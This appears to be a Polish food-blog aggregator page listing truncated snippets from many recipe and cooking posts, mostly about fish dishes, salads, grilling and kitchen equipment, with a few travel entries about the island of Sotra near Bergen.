gotowania (gazowej, ceramicznej, indukcyjnej). W naczyniu piekarnika XXL wykonanym z powlekanej teflonem stali nierdzewnej, możesz w nim gotować posiłki swojej rodziny! Twój wybór: makaron lub zapiekanka warzywna, lasagne lub ryba. Należy jednak uważać, aby nie uszkodzić powłoki podczas podawania, pamiętając o użyciu odpowiednich szpatułek. Wreszcie, tradycyjne i uniwersalne (często bardzo przystępne cenowo) kamionkowe naczynia z łatwością przejdą z piekarnika(...)prawdziwych naczyń kuchennych? Od rondla z pokrywką, poprzez patelnię, gulasz i delikatesy, wszystkie dostępne w różnych rozmiarach, są niezbędne podczas przygotowywania prawdziwego posiłku od A do Z. Mięso lub ryba, sos, deser i warzywa, każdy składnik ma swoje własne opakowanie! Podobają nam się naczynia tej marki wykonane we Francji Sitram, których grube dno ze stali nierdzewnej nadaje się do wszystkich

ProstePesto.pl
Hiszpański ryż z Chorizo Faceta w Kuchni 96

kurczakiem i właśnie Chorizo, jakież było jego i nie tylko jego zdziwienie, na oburzenie, wzburzenie i falę hejtu, że nie ma czegoś takiego jak paella z Chorizo, owoce morza, ryby, kurczak tak, ale nie Chorizo. Nie tylko Jamie miał problem z tym daniem, sam Gordon Ramsay za dodanie papryczek chili również oberwał, innemu światowej klasy szefowi kuchni Marco Pierre White(...)powstało w dobie kryzysu, biedy, było pożywieniem biednych ludzi i w rzeczywistości był to smażony ryż z… tym, co było, prawdopodobnie mięso, kiełbasy były drogie, ciężko dostępne, od ryb czy owoców morza. Zapraszam na Hiszpańskie ryż z Chorizo, które nie jest i jest Paellą. 👥 – 4-6 ⏰ – 60 minut 🇪🇦 – Hiszpania ✅ Składniki ✅ 4 świeże Chorizo ✅ 350 g ryżu

RafalCook
Co to jest kwas EPA i dlaczego jest tak ważny? 89

dziennie. Natomiast w przypadku ciężarnych kobiet zapotrzebowanie na tę substancję zwiększa się niemal dwukrotnie. Występowanie EPA Kwas eikozapentaenowy znaleźć można przede wszystkim w owocach morza oraz różnych gatunkach morskich ryb. Znajduje się on w tłustych rybach, takich jak śledzie, makrele, łososie oraz sardynki. Związki te są również w rozmaitych olejach roślinnych: rzepakowym, lnianym. Ponadto EPA występuje także  w nasionach

Kuchcik gotuje
TATAR Z WĘDZONEJ MAKRELI 77

mięso i przełóż do miski. 2. Dymki pokrój w drobne krążki, cebulkę w drobną kostkę. Dodaj do miski z makrelą. 3. Przygotuj zest z całej limonki i dołóż do ryby, wciśnij również około łyżki soku z limonki. 4. Dodaj olej sezamowy, łyżkę sezamu oraz świeżo mielony pieprz i całość dobrze wymieszaj. 5. Serwuj, uprzednio wciśnięty do ringu kucharskiego. Jeśli robisz(...)Poszatkuj drobno mięso i przełóż do miski. Dymki pokrój w drobne krążki, cebulkę w drobną kostkę. Dodaj do miski z makrelą. Przygotuj zest z całej limonki i dołóż do ryby, wciśnij również około łyżki soku z limonki. Dodaj olej sezamowy, łyżkę sezamu oraz świeżo mielony pieprz i całość dobrze wymieszaj. Serwuj, uprzednio wciśnięty do ringu kucharskiego. Jeśli robisz przystawkę użyj

globuskulinarny
Pstrąg łososiowy pieczony z cytryną i rozmarynem 208

obiad? Kupiłaś pstrąga łososiowego, ale zastanawiasz się jak go upiec? Dzielę się przepisem na pyszne i szybkie danie. Pstrąg łososiowy pieczony z cytryną i rozmarynem to pomysł na rybę inną niż do tej pory. Oryginalny smak zachwyci każdego. Ciekawy orzeźwiający smak cytryny i cudowny aromat rozmarynu sprawiają, że każdy je to danie z ochotą. Tak upieczona ryba jest lekko przypieczona

Gotujemywdomu.pl
Duszone pory z prażonymi orzechami laskowymi 85

Duszone pory w białym winie, z dodatkiem czosnku i świeżego tymianku. Posypane prażonymi orzechami laskowymi. Świetny dodatek do mięs czy ryb. Polecam w towarzystwie Soczystej dorady pieczonej pod solną skorupą , która wcale nie jest słona 🙂 Składniki: (4 porcje) 4 pory (tylko białe części) oliwa lub olej do podsmażenia 3 ząbki czosnku 3 łodygi świeżego tymianku łyżka masła 150 ml białego(...)końcem , aby namiar płynu odparował. Wyłóż pory na talerz, posyp uprażonymi orzechami laskowymi i posyp natką pietruszki. Polej sosem pozostałym z duszenia porów. Podawaj jako dodatek do mięs lub ryb. Ja podałam w towarzystwie “Soczystej dorady pieczonej pod solną skorupą ” i “ Pieczonych ziemniaczków z chilli i kurkumą “ . źródło: “Gordon Ramsay’s Ultimate Home Cooking” Czytaj więcej: Duszone pory z prażonymi

Moja Delicja
Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem 87

smakowo. Zrobiłam z niego wiele dań, między innymi tę “ Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem “. Polecam jako dodatek do dań obiadowych z mięsami, z rybami. Świetnie się również komponuje z wytrawnymi tartami. Składniki surówki z kopru włoskiego: (2-3 porcje) 1 bulwa kopru włoskiego (fenkułu) 1 kalarepka 1 duże zielone jabłko sok z połowy cytryny(...)doprawić odrobiną soku z cytryny. Surówkę z kopru włoskiego (fenkułu) , kalarepki i zielonego jabłka z koperkiem podawać jako dodatek do dań obiadowych (do tart, dań z mięsem lub z rybami) . Czytaj więcej: Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem The post Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem appeared first on Moja

Moja Delicja
Pieczone szparagi z pomidorkami koktajlowymi i fetą 75

jednakowej grubości. Dzięki temu wszystkie upieką się jednakowo. Pieczone szparagi mogą być świetną przekąską, idealnie się sprawdzą na letnią kolację, ale również jako dodatek do dań obiadowych z mięsem, rybą lub dań w wersji wege, którą Wam gorąco polecam (np. z “ Młodymi ziemniaczkami z suszonymi pomidorami, bazylią i parmezanem ” i “ Sałatką z rukolą, rodzynkami i płatkami migdałowymi “). Pieczone szparagi – Składniki(...)miękkie, ale wciąż chrupiące (jeśli przetrzymacie dłużej, staną się zdrewniałe) . Pieczone szparagi z pomidorkami posypać pokruszoną fetą. 50 g pokruszonej fety Podawać jako dodatek do dań obiadowych z mięsem, rybą lub dań w wersji wege (które polecam), czyli z “ Młodymi ziemniaczkami z suszonymi pomidorami, bazylią i parmezanem ” oraz “ Sałatką z rukolą, rodzynkami i płatkami migdałowymi “ źródło: Na podstawie przepisu

Moja Delicja
Salatka z batatem, szpinakiem i pomidorami 86

pół małego kalafiorka - 2 garście świeżych liści szpinaku baby - 10 dużych pomidorków koktajlowych - pół szklanki kaszy kus kus - olej lniany, sól, pieprz do smaku - ew. resztki mięsa lub ryby z poprzedniego dnia  Batata obieram i kroję w kawałeczki. Kalafior myję, oddzielam różyczki. Wszystko razem gotuję do miękkości- patrzcie, żeby się kalafior nie rozgotował. Kaszę zalewam wrzątkiem(...)poczekać na ostudzenie albo wymieszać na ciepło - w każdej wersji będzie smaczne. Na koniec dodajemy olej lniany i przyprawy do smaku. Bardzo dobrze smakuje z dodatkiem resztek mięsa lub ryby z dnia poprzedniego - ja dodałam odrobinę kurczaka  ale może być też w wersji jarskiej

Kuchnia Pełna Emocji
Zdrowe przepisy na cały dzień + nowości w mojej kuchni 156

talerz.  NA ZDJĘCIU  ⇾    forma do pieczenia frytek   |   komplet akcesoriów kuchennych   |  patelnia ceramiczna głęboka   |  talerz obiadowy CHRUPIĄCE FRYTKI Z RYBĄ, CUKINIĄ I MARCHEWKĄ Składniki (2 porcje): 300 g filetów z mintaja 2 cukinie 2 ziemniaki 2 marchewki  4 łyżeczki oleju rzepakowego ulubione przypraw y Sos jogurtowy z czosnkiem i natką(...)pietruszki: 150 g jogurtu greckiego  1 duży ząbek czosnku  1 łyżka posiekanej natki pietruszki  sól i pieprz czarny  Przygotowanie: Rybę udusiłam na kilku kroplach oleju z solą, pieprzem czarnym i pieprzem cytrynowym.  Ziemniaki obrałam, pokroiłam w kształt frytek i wymieszałam z łyżeczką oleju, solą, papryką słodką oraz przyprawą do ziemniaków. Cukinię pokroiłam w średniej grubości

Zdrowie na języku :P
Zupa rybna z wędzonym łososiem 88

paprykę. Gotować do momentu aż warzywa stracą surowość ale jeszcze będą jędrne ( nie rozgotowane), dodać koncentrat pomidorowy oraz pokrojone pomidorki . Na koniec do wywaru dodać   pokrojoną w cząstki rybę i jeszcze chwilę gotować do zaparzenia się ryby. W razie konieczności doprawić , posypać posiekaną natką pietruszki. Podawać z cząstkami cytryny, którą skropić zupę na talerzu

W garach u Gosi
Dookoła świata. Dania i smaki Australii 71

smakuje wszystkim, nawet tym jedzącym go po raz pierwszy. Wewnątrz bułki znajduje się mięso wołowe, roztopiony ser i plaster marynowanego buraka. Podobno taki burger to pycha. Wszystkim smakuje również ryba z frytkami. Frytki i ryby, to także ulubione danie zwłaszcza na terenach nad oceanem. Natomiast na śniadanie mieszkańcy Australii uwielbiają jeść bułkę z jajkiem i boczkiem, która jest polana keczupem

ProstePesto.pl
Pieczony, smażony czy grillowany – jak najlepiej przyrządzać łososia? 77

Łosoś zalicza się do tłustych ryb morskich, po które powinniśmy sięgać regularnie, najlepiej przynajmniej raz w tygodniu. Jest też produktem o wyjątkowo wysokiej wartości odżywczej, nie bez powodu uznawanym za bardzo zdrowy. Pytanie zatem nie brzmi zatem „czy”, ale raczej ¬– „jak” przyrządzać łososia? Pierwszym krokiem do zrobienia smacznej i zdrowej potrawy jest wybór ryby pochodzącej z dobrego źródła, takiej

jakszef.pl
Sałata z gruszek – kuchnia galicyjska 72

którym następuje część główna uczty, czyli pierwsze danie. „Liczba półmisków (assiettes) należących do pierwszego dania, składa się z małych pasztecików ciepłych, smażonego i drylowanego mięsa, drobiu i ryb, różnych potraw z farszem, kiełbasek, świeżych i wędzonych ozorów, krokietów, karbonadlów, następnie z dodatków zimnych, jako to: ogórków zielonych, ćwikły, oliwek, zielonego kopru, szampionów, świeżego masła, bryndzy, rzodkiewek, świeżych lub grylowanych ostryg(...)salami krajanych, pekelfleiszu i t. p. Na drugie zaś danie dają się ciasta, galarety, mleczka, auszpiki, kompoty i sałaty, ryby marynowane, gotowane ozory zimne i t. p.” Sałata z gruszek łamie wszelkie schematy, które znałam. Zarówno sposób przyrządzania dania, jak i końcowy rezultat były dla mnie czymś zupełnie nowym i zaskakującym. W tym daniu gruszki obtacza się w mące

Trzeci talerz
Domowe grillowanie – jaki grill sprawdzi się najlepiej? 112

czę­ścio­wego rusztu z wymien­nym środ­kiem. Jego wymiana jest bar­dzo pro­sta, a na grillu przy­go­tuje się przez to nie tylko mięso i ryby, ale rów­nież owoce morza i warzywa, a nawet takie przy­smaki jak gofry , nale­śniki i pizzę! W modelu II SP 335 jest bar­dzo duża powierzch­nia rusztu(...)nowe. Poza tym należy pamię­tać o akce­so­riach! Do każ­dego modelu można doku­pić prze­różne akce­so­ria , które oprócz gril­lo­wa­nego mięsa, ryb i warzyw pozwa­lają na przy­go­to­wa­nia innych potraw. Wśród akce­so­riów znaj­dują się rów­nież te prze­zna­czone do czysz

codojedzenia
Tradycyjna nalewka malinowo-jeżynowa 169

Nalewka malinowo-jeżynowa według tradycyjnego przepisu na pewno przypadnie do gustu fanom wysokoprocentowych alkoholi owocowych. Trunek przyrządzony wg tego przepisu jest mocny, ale po odpowiednio długim

Korniszonki
SAŁATKA Z FETĄ I POMIDORAMI- pyszna do grilla 85

grilla.  Przepis na letnią sałatkę do grilla.      Sałatka z fetą - w kilka chwil przygotujesz smaczną, świeżą sałatkę, która doskonale będzie pasować do grillowanych mięs, grillowanej ryby, ale też jako przekąska podczas grilla . Oto sprawdzony przepis na sałatkę z fetą do grilla. Zobacz jak ją przygotować :) Przepis na letnią sałatkę z fetą. Sałatka z fetą: lista składników(...)fetą podawać zaraz po przygotowaniu do potraw z grilla, na przyjęcie lub kolację. Pyszna letnia sałatka na grilla, świetnie smakuje do grillowanego kurczaka, grillowanej karkówki lub  grillowanej ryby. Smacznego :) Letnia sałatka do grilla z fetą. Pyszna sałatka z fetą

Moja Książka Kucharska
Salmagundi. Przepis na pirackie danie. Aarrgghh! 102

zasadniczo oznacza sa\u0142atk\u0119 lub mieszank\u0119 r\u00f3\u017cnych produkt\u00f3w spo\u017cywczych. \u017bywno\u015b\u0107 zwykle znajduj\u0105ca si\u0119 na tym talerzu to w\u0119dliny, ryby, owoce i warzywa. Kilka tradycyjnych przepis\u00f3w wymaga nawet mi\u0119sa \u017c\u00f3\u0142wia. Tego ostatniego sobie podarujemy w tym przepisie.","keywords":["Salmagundi","piraci","danie pirackie","co jedli piraci"],"author(...)porcje Przygotowanie 20 min. Gotowanie 45 min. Kalorie 270 kcal Salmagundi zasadniczo oznacza sałatkę lub mieszankę różnych produktów spożywczych. Żywność zwykle znajdująca się na tym talerzu to wędliny, ryby, owoce i warzywa. Kilka tradycyjnych przepisów wymaga nawet mięsa żółwia. Tego ostatniego sobie podarujemy w tym przepisie. Składniki: Grillowane krewetki 10 szt. dużych krewetek w skorupce 2 ząbki czosnku posiekanego drobno

ProstePesto.pl
Co to jest dehydrator 81

pytania zaczynają się pojawić latem każdego roku, bo właśnie wtedy zaczynamy przygotowywać przetwory na zimę. Część zamykamy w słoikach, inne suszymy. I właśnie do suszenia - dosłownie wszystkiego, także mięsa, ryb czy zakwasu na domowy żurek służy dehydrator. Ale nie tylko do suszenia. W dehydratorze można także przygotować ciastka, krakersy i chlebki,  pełnowartościowe dania główne, idealne na wakacyjne wyjazdy(...)także wyposażonych w specjalne maty przeznaczone m.in. do suszenia produktów półpłynnych. Co można przygotować w dehydratorze Oprócz suszenia warzyw, owoców, grzybów i ziół w dehydratorze można także ususzyć makaron, ryby, mięso i owoce morza. To bardzo uniwersalne urządzenie, w którym przygotujesz także: domowy jogurt naleśniki z owoców chlebki, krakersy i ciastka dietetyczne batoniki   sosy i zupy instant

Cztery Fajery
Gofry ziemniaczane z wędzonym łososiem i letnimi dodatkami 92

wiadomo "diabeł tkwi w szczegółach". Pamiętam jak pierwszy raz usłyszłam o znakomitym połączeniu łososia i awokado. Byłam niesamowicie zdziwiona. Wydawało mi się, że połączenie zdrowej, ale jednak tłustej ryby, jaką jest łosoś, z awokado również obfitującym w tłuszcze nie będzie dobre. Jeżeli spróbowaliście choć raz takiego połączenia smaków, to pewnie się uśmiechacie. Jak można się domyślać moje obawy były bezpodstawne(...)dodatkami (zresztą jak wszystkie inne gofry) już nie lubią przechowywania, więc najlepiej zjeść je od razu po przygotowaniu, co nie powinno stanowić problemu. ;) gofry, śniadanie, dania z ziemniaków Śniadanie, Ryby i owoce morza fusion, polska Ilość: 10-12 Autor: Kasia Jastrzębska | pełny talerz Drukuj ze zdjęciem bez zdjęcia Gofry ziemniaczane z wędzonym łososiem i letnimi dodatkami Nie ma co więcej

Pełny talerz
Sandacz w sosie z jeżyny leśnej 130

pomyślałam. Lepszy niż z cytryną! Już nie mogłam doczekać się końcowego efektu. Jak nie lubię smażyć to tym razem dostałam skrzydeł. Miałam nosa, znakomity smak i zapach. Smak ryby w połączeniu z sosem słodko-kwaśnym jest aż nieprzyzwoicie pyszny! Reszta „głodomorów”, na początku zajadała sandacza z cytryną, widząc moje achy i ochy, opróżnili w ekspresowym tempie sosjerkę z tym „królewskim(...)polecam! Sandacz w sosie z jeżyny leśnej Potrzebujemy:   Filet z sandacza, jeżyny, sól i pieprz do smaku, mąka, masło klarowane lub olej do smażenia. W zależności od ilości ryby, przygotowujemy ilość sosu z jeżyn. Powiedzmy 2 szklanki jeżyn miksujemy, przecieramy przez sito, pozbywając się tym samym pestek. Sos aby był gęściejszy możemy zredukować  podgrzewając go na wolnym ogniu

Leśny Zakątek
Niezbędnik grillomaniaka 101

podjęciu właściwych decyzji przygotowałam specjalnie dla Ciebie wykaz najbardziej niezbędnych akcesoriów do grillowania, dzięki którym zyskasz sławę mistrza w tym fachu. Kosze do grillowania Jeśli lubisz grillowane warzywa, ryby i owoce morza kosz do grillowania staje się akcesorium wprost niezbędnym. Szparagi, mini pizze z cukinii, sałatka z grillowanych warzyw albo pstrąg z grilla wymagają kosza z otworami odpowiednio dużymi(...)ruszcie. To także najlepsze rozwiązanie dla osób dbających o linię, płyty to smażenia, także z rowkowaną powierzchnią, umożliwiają przyrządzanie wyśmienitych dań z minimalną ilością tłuszczu. Forma ceramiczna do pieczenia ryb Termometr do grillowania Masz zapewne w domu termometr do pieczenia, również współczesne domowe piekarniki są wyposażone w termosondę, która pozwala kontrolować temperaturę wewnątrz produktu. Tym bardziej nie zaskakuje Cię pewnie

Cztery Fajery
Ciekawe miejsca za Bergen – Sotra Hellesøy. Szlak Rubbeganståne 117

Hellesøy. Jest najbardziej wysuniętym na północ punktem na wyspie Sotra, w Hrabstwie Øygarden. Hellesøy jest powszechnie znany ze swojego malowniczego otoczenia i bardzo dobrych miejscówek do łowienia ryb. W tym poście postaramy się zdobyć najbardziej wysunięty na północ szlak – Rubbeganståne. Szlak Rubbeganståne na Hellesøy Jadąc na sam koniec wyspy, kilkaset metrów przed ostatnim zakrętem znajdziecie oznaczenia kierujące na początek(...)się zgubić, Mniej więcej w połowie drogie znajdziecie ławeczkę i stolik z pięknym widokiem na lasy i morze, Po drodze zobaczycie również znak na “Dobre miejsce do połowu ryb”. Warto spróbować. Przy końcowi znajdziecie znak “Latarnia”, odbijcie w jej stronę. Widoki są genialne! Znajdziecie również kolejną ławeczkę do odsapnięcia. Wracając do naszej wycieczki Rubbeganståne najważniejsze informacje

Czynniki pierwsze
NAJLEPSZE HOT-DOGI Z GRILLA I 7 TRIKÓW, DZIĘKI KTÓRYM KAŻDY Z WAS ZOSTANIE MISTRZEM GRILLOWANIA 92

mięso szybciej się upiecze. Do przygotowania marynaty można użyć również alkoholu, który sprawi, że przygotowywane mięso będzie miększe. 4. MIĘSO TO NIE WSZYSTKO Na grillu możecie upiec nie tylko ryby i mięso, ale również wiele rodzajów warzyw. Ziemniaczki w mundurkach, kolby kukurydzy, duże pieczarki, paprykę czy cukinię. Pamiętajcie przy tym, żeby zawsze zaczynać smażyć warzywa od tych najtwardszych ze względu(...)czas pieczenia będzie trwał dłużej. Jeśli natomiast chcecie przygotować ryby to te mniejsze lepiej jest położyć na ruszcie w całości, z kolei większe pokroić w tzw. dzwonek. 5. SPOSÓB NA SZASZŁYKI Zanim przygotujecie szaszłyki, namoczcie drewniane patyczki przez około 10 minut w wodzie – to sprawi, że nie będą się przypalać. Drugą ważną rzeczą przy przygotowaniu szaszłyków jest użycie dwóch patyków

Ostra na Słodko
Prażnica - jajecznica po kaszubsku 99

Kaszubska prażnica to po prostu jajecznica z wędzonym węgorzem. Ponieważ Kaszuby słynną z bogactwa ryb, nic dziwnego, że wędzona ryba wylądowała i w jajecznicy. Lubię jajka na śniadanie, także z ciekawością wypróbowałam nowy przepis

Gotuj zdrowo!Guten Appetit!
Ryż z ciecierzycą i rodzynkami 76

sefardyjską pachnąca curry, kuminem i ziołami. Niby nic specjalnego, a jednak jest to bardzo smaczne, egzotyczne danie, które można podać jako bazę dania wegetariańskiego lub dodatek do mięs czy ryb. Do przygotowania będziemy potrzebowali mieszanki różnych rodzajów ryżu, a może to być ryż czarny, brązowy lub czerwony. Ryż powinien być dobrze ugotowany, jędrny i sypki absolutnie nie może być rozgotowany(...)Pozostaje przygotowanie chrupiącej cebulki i wymieszanie jej z pozostałymi składnikami, potrawa gotowa. Ryż z ciecierzycą najlepiej podawać ciepły lub w temperaturze pokojowej tak smakuje najlepiej! Do ryżu podałam smażoną rybę w płatkach migdałowych i surówkę z białej kapusty a Wy, z czym zjecie aromatyczny ryż? Print Ryż z ciecierzycą i rodzynkami .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill

SprawdzonaKuchnia.pl
Sotra Øygarden – wyspa przy Bergen, czyli pomysł jak spędzić weekend poza miastem 91

niecałe 70 km długości. Najwyższy szczyt to Liatårnet – 341 m n.p.m. Na jej powierzchni znajduje się kilkanaście szczytów i kilkadziesiąt szlaków turystycznych. Genialna baza wypadowa na połowy ryb kutrem, a także z lądu. To tutaj możesz: wypłynąć na ośmiogodzinny rejs kutrem , by złowić prawdziwą, wielką sztukę i przy okazji podziwiać wybrzeże Sotry z zupełnie innej perspektywy, nauczyć się nurkować(...)Morze Północne) Muzeum Przybrzeżne w Øygarden Muzeum Morza Północnego Telavåg Stare i idylliczne miejsce handlu z 1664 roku – Glesvær. Miejsce to było ważnym portem do połowów i przyjmowania ryb w regionie, Elektrownie falowe w Øygarden, a raczej ich pozostałości, kilka piaszczystych plaż, połączonych z możliwością grillowania niezliczoną ilość gór, a także pagórków z setkami różnorakich szlaków miejsca z widokiem

Czynniki pierwsze
Chrupiąca sałatka z kurczakiem, selerem, jabłkiem i orzechami 109

Sałatka z kurczakiem i chrupiącymi dodatkami, w postaci jabłka i orzechów włoskich to pyszny pomysł na lunch lub sycące drugie śniadanie. Połączenie delikatnego mięsa z kurczaka

Korniszonki
Domowa sałatka pikantna z makreli do chleba. PRZEPIS 143

odstaw do przestudzenia. Z makreli zdejmij skórę, wyciągnij kręgosłup i pozbądź się widocznych ości. Mięso przełóż do miski. Dodaj sos z patelni, energicznie mieszaj, aż połączy się z rybą w jednolitą pastę. Podawaj po schłodzeniu jako dodatek do pieczywa. Artykuł Domowa sałatka pikantna z makreli do chleba. PRZEPIS pochodzi z serwisu Kulinarna Polska | Gotowanie i jedzenie

Kulinarna Polska
Siekane kotlety rybne 84

należy je rozmrozić i dokładnie osuszyć ręcznikami papierowymi. Pokroić w niedużą kostkę. Przełożyć do miski z jajkiem. Paprykę umyć, usunąć gniazda nasienne. Pokroić w kostkę. Dodać do miski z rybą. Cebulę obrać, pokroić w drobną kostkę. Przełożyć do miski. Dodać posiekaną natkę pietruszki. Całość dokładnie wymieszać do połączenia składników. Na patelni rozgrzać olej rzepakowy. Łyżką kłaść przygotowanej ryby. Lekko spłaszczyć

Danka Pichci
Sorbet truskawkowy 170

Sorbet truskawkowy Lody sorbetowe to wspaniały pomysł na letni deser. Można je przygotować z owoców sezonowych- truskawek, malin lub cytrusów. Domowy sorbet truskawkowy idealnie sprawdzi się

Korniszonki
Tort czekoladowo-śmietankowy z truskawkami 119

Maj to miesiąc truskawek, więc właśnie w maju warto przygotować jak najwięcej smakołyków z truskawkami, bo właśnie w maju truskawki są najlepsze. Tort czekoladowo-śmietankowy z

Korniszonki
Kuchnia PRL. Ciekawostki ProstePesto 98

krew i jelita do wyrabiania domowej kiełbasy. W licznych gospodarstwach domowych były wędzarnie sporządzane z metalowych beczek. W latach 70 XX w. powstały też prywatne wędzarnie. Brakowało drobiu i ryb. Rzadko dostępny kurczak i indyk, a z ryb można było kupić głównie śledzie i dorsze. Nic dziwnego, że w takich warunkach ludzie mocno kombinowali, żeby załatwić mięso

ProstePesto.pl
Uniwersalna surówka z białej kapusty 97

surówka z białej kapusty to pyszna i łatwa do zrobienia surówka z niewielu składników. Pasuje do większości obiadów składających się z mięsa i ziemniaków. Moim zdaniem pasuje również do ryby, dań z grilla czy klusek z mięsnymi sosami. Dlatego też nadałam jej nazwę uniwersalnej. Ja takie surówki mogę również jeść jako samodzielną przekąskę pomiędzy posiłkami. Wspomniana uniwersalna surówka oprócz białej(...)dokładnie wymieszałam. Surówkę wstawiłam na około godzinę do lodówki, żeby się schłodziła i przegryzła. Jak wspomniałam na początku, surówkę można podać jako dodatek do obiadu zawierającego mięso, lub smażoną rybę. Pasuje również do dań z grilla czy innych potraw. SMACZNEGO

Waniliowe Improwizacje
Siekane kotlety rybne 99

należy je rozmrozić i dokładnie osuszyć ręcznikami papierowymi. Pokroić w niedużą kostkę. Przełożyć do miski z jajkiem. Paprykę umyć, usunąć gniazda nasienne. Pokroić w kostkę. Dodać do miski z rybą. Cebulę obrać, pokroić w drobną kostkę. Przełożyć do miski. Dodać posiekaną natkę pietruszki. Całość dokładnie wymieszać do połączenia składników. Na patelni rozgrzać olej rzepakowy. Łyżką kłaść przygotowanej ryby. Lekko spłaszczyć

Danka Pichci
Pasta z tuńczyka 141

Opis Pasta z tuńczyka: Pasta z tuńczyka to idealna propozycja na ciekawe kanapki. To także dobry pomysł na wprowadzenie do diety większej ilości ryb. Dzięki niej śniadanie do pracy czy szkoły lub kanapki na kolację będą bardziej zróżnicowane. Tuńczyk to niskokaloryczna ryba, która zawiera dużo pełnowartościowego białka, jednak ze względu na zawartość metylortęci nie powinno się jej spożywać w nadmiarze

FoodMagazine.pl - Przepisy kulinarne
Racuchy z bananami z mąki orkiszowej 157

Racuchy bananowe na jogurcie z mąką orkiszową Racuchy z bananami to przysmak, który sprawdza się jako danie na śniadania, obiady i kolacje. Ciasto na racuchy można

Korniszonki
Kotlety rybno – ziemniaczane 144

Kotlety rybno – ziemniaczane to pyszna propozycja na obiad. Do ich zrobienia można wykorzystać ziemniaki, co pozostały z obiadu z poprzedniego dnia. Tak samo dotyczy to ryby, jeśli piekliście bądź gotowaliście na parze i został trochę z obiadu, to jak najbardziej można wykorzystać taką porcję do kotletów. U mnie w domu sprawdziło się takie podanie … Czytaj dalej Kotlety rybno

Pieprzyć z Fantazją
Jak powinna wyglądać zbilansowana dieta? 120

naszego talerza zajmowały warzywa. Nawet w sklepach można kupić lunchboxy, które mają właśnie taki układ. Pozostała część talerza powinna zostać zagospodarowana przez produkty bogate w białko – np. mięso, ryby, jaja, suche nasiona roślin strączkowych, a pozostałe 25% powinno stanowić źródła węglowodanów – np. kasze, ziemniaki czy makaron. 2. Porcja zgodna z indywidualnymi potrzebami Jeśli chodzi o porcje(...)Neuhoff-Murawska, dietetyk i ekspert programu „Indyk z Europy – pod skrzydłami jakości” proponuje, aby przez trzy dni w tygodniu na naszym stole zagościło mięso białe np. indyk, dwa dni – ryby np. łosoś lub pstrąg, a jednego dnia danie przygotowane z mięsa czerwonego. Zamiennikiem mięsa mogą być suche nasiona roślin strączkowych, które warto włączyć raz w tygodniu do naszej diety. Pisząc

Czynniki pierwsze
Łosoś w cieście francuskim z suszonymi pomidorami i puree z selera naciowego 117

osuszamy. Jeżeli mamy kawałek że skórą pozbywamy się jej. Dzielimy na 4 kawałki, każdy kładziemy na rozwiniętym plastrze szynki. Suszone pomidory drobno kroimy i kładziemy na każdym kawałku ryby. Posypujemy startym parmezanem. Zawijamy szynką. 2. Połowę gotowego ciasta francuskiego dzielimy na 4 równe części. Na każdym kawałku ciasta kładziemy po przekątnej 1 zawiniętą w szynkę rybkę i następnie sklejamy

karolgotuje
Lodówka side by side – czy warto? 152

całkowitej pojemności , więc zmieszczą masę jedzenia różnego typu (źródło danych: https://www.prorankingi.pl/rankingi/agd/lodowki-side-by-side/ ). Wysoki tort, mnóstwo mrożonek, wysokie butelki wina czy napojów gazowanych, większe kawałki mięsa, długie ryby, masywniejsze warzywa – długo mogę wymieniać produkty, które bez problemu zmieścisz w lodówce side by side . Zarówno jej część mrożąca, jak i chłodząca da Ci ogromną swobodę. Przy takiej pojemności producenci też mają(...)łatwiej – nie idą na kompromisy, a zawierają wiele zróżnicowanych (i często regulowanych) półek, szuflad czy dedykowanych pojemników na konkretny rodzaj żywności (np. warzywa i owoce, mięso, ryby). Po wielkich zakupach w markecie bez problemu umieścisz zakupione produkty w przestronnej lodówce, nie musząc się przy tym gimnastykować i narzekać, że nie możesz czegoś zmieścić. Właśnie dla tej cechy tak dużo osób

Słodkie okruszki
Surówka z białej kapusty ze śmietaną 203

Bardzo prosta surówka z białą kapustą, marchewką i jabłkiem – smaczna… soczysta… chrupiąca. W sam raz do podania na obiad, na kolację lub jako dodatek do ryb i mięs z grilla. Poniżej podałam składniki na przygotowanie porcji dla 3 osób, ale możesz proporcjonalnie zwiększyć ich ilość zależnie od swoich potrzeb.   Proste dodatki do obiadu… ** Sałatka obiadowa(...)soczysta. Do surówki można dodać również… posiekaną białą lub czerwoną cebulę, pora, posiekaną natkę pietruszki, koperek.     (adsbygoogle = window.adsbygoogle || []).push({}); Surówkę polecam do… Klopsa (pieczeni rzymskiej) Ryby pieczonej na ryżu Cukinii faszerowanej mięsem Paprykowych krążków nadziewanych mięsem Kotletów drobiowych (mielonych

Kulinarne S.O.S.
Surówka z białej kapusty ze śmietaną 203

Bardzo prosta surówka z białą kapustą, marchewką i jabłkiem – smaczna… soczysta… chrupiąca. W sam raz do podania na obiad, na kolację lub jako dodatek do ryb i mięs z grilla. Poniżej podałam składniki na przygotowanie porcji dla 3 osób, ale możesz proporcjonalnie zwiększyć ich ilość zależnie od swoich potrzeb.   Proste dodatki do obiadu… ** Sałatka obiadowa(...)soczysta. Do surówki można dodać również… posiekaną białą lub czerwoną cebulę, pora, posiekaną natkę pietruszki, koperek.     (adsbygoogle = window.adsbygoogle || []).push({}); Surówkę polecam do… Klopsa (pieczeni rzymskiej) Ryby pieczonej na ryżu Cukinii faszerowanej mięsem Paprykowych krążków nadziewanych mięsem Kotletów drobiowych (mielonych

Kulinarny S.O.S.
Paprykarz z makreli / Polish Smoked Mackerel Spread 101

zdrowszej i o wiele smaczniejszej niż sklepowa wersji. Paprykarz z wędzonej makreli to ciekawy pomysł na inną niż wszystkie pastę kanapkową. Jeśli nie przepadacie za makrelą, użyjcie innej wędzonej ryby. W wersji luksusowej sprawdzi się wędzony na gorąco łosoś. Możecie użyć ulubionego rodzaju ryżu lub jeszcze zdrowszej kaszy jaglanej, a w wersji wegańskiej poprzestać na samych warzywach. Polecam nie tylko(...)marchew i pietruszkę zetrzeć na tarce. Smażyć do miękkości na niewielkiej ilości tłuszczu z listkiem laurowym i ziarenkami ziela angielskiego. Po usmażeniu warzyw wyciągnąć listek i ziele, dodać koncentrat. Rybę pozbawić ości, rozdrobnić (można zmiksować w blenderze), połączyć w usmażonymi warzywami z koncentratem i ryżem, doprawić do smaku. Zmodyfikowany przepis z TEJ strony. Polish Smoked Mackerel Spread: 1 smoked mackerel

Lekcje w kuchni
